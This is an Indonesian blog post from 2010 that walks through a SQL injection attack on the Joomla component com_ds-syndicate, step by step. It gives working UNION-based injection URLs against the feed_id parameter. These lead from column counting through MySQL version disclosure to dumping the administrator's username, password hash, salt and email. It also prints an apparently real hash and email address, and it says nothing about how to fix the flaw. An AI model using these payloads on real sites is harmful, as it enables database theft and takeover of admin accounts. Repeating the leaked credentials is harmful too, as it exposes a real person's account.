Pages

Rabu, 13 Januari 2010

Implementasi SQL Injection pada Joomla

Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika admin tidak memperhatikan security risk yang ada? Apa jadinya jika 'the choosen one' ternyata seorang admin yang tidak tahu sama sekali mengenai system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin yang meremehkan system keamanan. Apa jadinya jika server anda memiliki konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari hasil penggabungan dua kata tersebut. Yang terjadi adalah peluang seorang attacker untuk menyusup ke dalam website anda semakin memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang attacker mengambil profit dari exploitasi system yang ada. Dalam berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti yang dilakukan oleh para carder. Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi hanya dengan bermodalkan internet dan browser internet tentunya, dan sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah seorang manusia biasa yang memiliki pengetahuan minimal dari sistem keamanan data. Ya, belum lama ini, salah satu component joomla terbukti mengidap penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan berakibat kematian pada akhirnya. :D~~ Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah salah satu contoh dari sekian banyak bug fatal yang terdapat dalam joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki kecacatan seperti ini. Ya, Langsung aja ... http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1 Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ' ) di belakangnya. http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1' Apa yang terjadi ? ... error... Langkah selanjutnya adalah cari urutan si table 'dssyndicate_feeds' dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda : index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* --> errornya sama … index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* --> errornya berbeda perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya. Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini. Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban. index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20+from+wc_users lihat paling akhir dari baris tersebut, from+wc_users wc_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user. Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya. Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut, Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan. Lihat angka 2 di dalam tag : <title>2 (18) Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini ... http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1, @@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from +wc_users perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan : 5.0.33 (18) Mysql versi 5.0.33 :D, sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. :D. Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini : http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1, username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut ... admin (18) Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini : http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1, concat(username,0x3a,password,0x3a,email,0x3a,usertype),3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users perhatikan, string username, diganti dengan concat(username,0x3a,password,0x3a,email,0x3a,usertype), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah : 0x3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini : admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK: alkemail@gmail.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it :Super Administrator Jika di urutkan : Username : admin Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK Email : alkemail@gmail.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it User type : Super Administrator Yang di lakukan selanjutnya adalah mencoba crack password, karena itu masih dalam bentuk hash, dengan kata lain password yang masih terenkripsi. :D. Yups, pengambilan username dan password secara paksa telah terjadi, si attacker kembali mencari cara bagaimana mendapatkan password yang asli, dengan cara mengcrack password hash tersebut. Untuk keperluan eksperimen, silahkan download filenya di sini. http://joomlacode.org/gf/download/frsrelease/6828/22538/Joomla_1.0.15-Stable-Full_Package.zip http://www.unair.info/ilmuwebsite/hack/joomla/com_ds-syndicate.tar.gz Ref: Click

0 comments: